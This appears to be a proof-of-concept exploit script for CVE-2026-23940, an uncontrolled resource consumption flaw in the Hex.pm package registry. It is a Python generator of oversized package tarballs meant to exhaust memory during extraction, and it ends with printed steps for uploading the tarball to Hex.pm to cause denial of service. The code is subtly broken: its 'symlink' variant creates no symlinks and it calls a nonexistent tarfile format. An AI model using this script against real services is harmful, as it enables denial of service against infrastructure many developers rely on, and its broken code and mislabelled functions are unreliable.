CVE-2026-23940: Hex.pm不受控制的资源消耗漏洞

#!/usr/bin/env python3 """ CVE-2026-23940 PoC - Hex.pm Uncontrolled Resource Consumption This PoC demonstrates creating an oversized package tarball that could cause memory exhaustion in Hex.pm during package extraction. Note: This is for educational and security testing purposes only. """ import tarfile import io import os def create_oversized_tarball(output_path, target_size_mb=500): """ Create an oversized tarball to trigger resource exhaustion in Hex.pm Args: output_path: Path to save the generated tarball target_size_mb: Target size of the tarball in MB """ print(f"[*] Creating oversized tarball ({target_size_mb}MB)...") # Create a tarball with large files with tarfile.open(output_path, "w", format=tarfile.GNU_FORMAT) as tar: # Add metadata file metadata = b"""{ "name": "malicious_package", "version": "1.0.0", "description": "Oversized package for DoS testing" } """ info = tarfile.TarInfo(name="hex_metadata.config") info.size = len(metadata) tar.addfile(info, io.BytesIO(metadata)) # Add large dummy files to exhaust memory during extraction chunk_size = 1024 * 1024 # 1MB chunks num_chunks = target_size_mb for i in range(num_chunks): large_data = b"A" * chunk_size info = tarfile.TarInfo(name=f"large_file_{i}.dat") info.size = chunk_size tar.addfile(info, io.BytesIO(large_data)) if (i + 1) % 50 == 0: print(f"[+] Added {i + 1}/{num_chunks} MB to tarball") print(f"[+] Tarball created: {output_path}") print(f"[+] File size: {os.path.getsize(output_path) / (1024*1024):.2f} MB") def create_malicious_tarball_with_symlink(output_path, target_dir): """ Create a tarball with symlinks to trigger path traversal or memory exhaustion """ print(f"[*] Creating tarball with symlinks in {target_dir}...") # Create target directory os.makedirs(target_dir, exist_ok=True) with tarfile.open(output_path, "w", format=tarfile.GUN_FORMAT) as tar: # Add metadata metadata = b'{"name": "symlink_package", "version": "1.0.0"}' info = tarfile.TarInfo(name="hex_metadata.config") info.size = len(metadata) tar.addfile(info, io.BytesIO(metadata)) # Create many small files that expand during extraction for i in range(10000): content = b"X" * 100000 # 100KB each info = tarfile.TarInfo(name=f"data/file_{i}.bin") info.size = len(content) tar.addfile(info, io.BytesIO(content)) print(f"[+] Symlink tarball created: {output_path}") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="CVE-2026-23940 PoC Generator") parser.add_argument("-o", "--output", default="oversized_package.tar", help="Output tarball path") parser.add_argument("-s", "--size", type=int, default=500, help="Target size in MB") parser.add_argument("--symlink", action="store_true", help="Create symlink variant") args = parser.parse_args() if args.symlink: create_malicious_tarball_with_symlink(args.output, "temp_extract") else: create_oversized_tarball(args.output, args.size) print("\n[!] Usage with Hex.pm:") print(f"[!] 1. Upload the generated tarball to Hex.pm via API or web interface") print(f"[!] 2. Monitor server memory usage during package extraction") print(f"[!] 3. Expected result: Memory exhaustion leading to DoS")